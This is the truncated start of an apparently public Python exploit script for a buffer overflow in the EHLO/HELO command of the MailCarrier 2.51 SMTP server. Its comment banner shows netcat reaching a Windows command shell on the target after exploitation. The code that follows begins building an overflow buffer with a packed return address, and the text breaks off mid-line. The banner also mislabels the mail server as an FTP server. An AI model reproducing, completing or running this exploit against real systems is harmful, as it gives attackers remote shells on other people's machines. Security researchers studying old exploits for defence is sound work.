######################################################### # MailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow # # Advanced, secure and easy to use FTP Server. # # 23 Oct 2004 - muts # ######################################################### # D:\BO>mailcarrier-2.5-EHLO.py # ######################################################### # D:\data\tools>nc -v 192.168.1.32 101 # # localhost [127.0.0.1] 101 (hostname) open # # Microsoft Windows 2000 [Version 5.00.2195] # # (C) Copyright 1985-2000 Microsoft Corp. # # C:\WINNT\system32> # ######################################################### import struct import socket print "\n\n###############################################" print "\nMailCarrier 2.51 SMTP EHLO / HELO Buffer Overflow" print "\nFound & coded by muts [at] whitehat.co.il" print "\nFor Educational Purposes Only!\n" print "\n\n###############################################" def make_overflow_dummy(overflow_len, retaddr): return 'A' * overflow_len + struct.pack('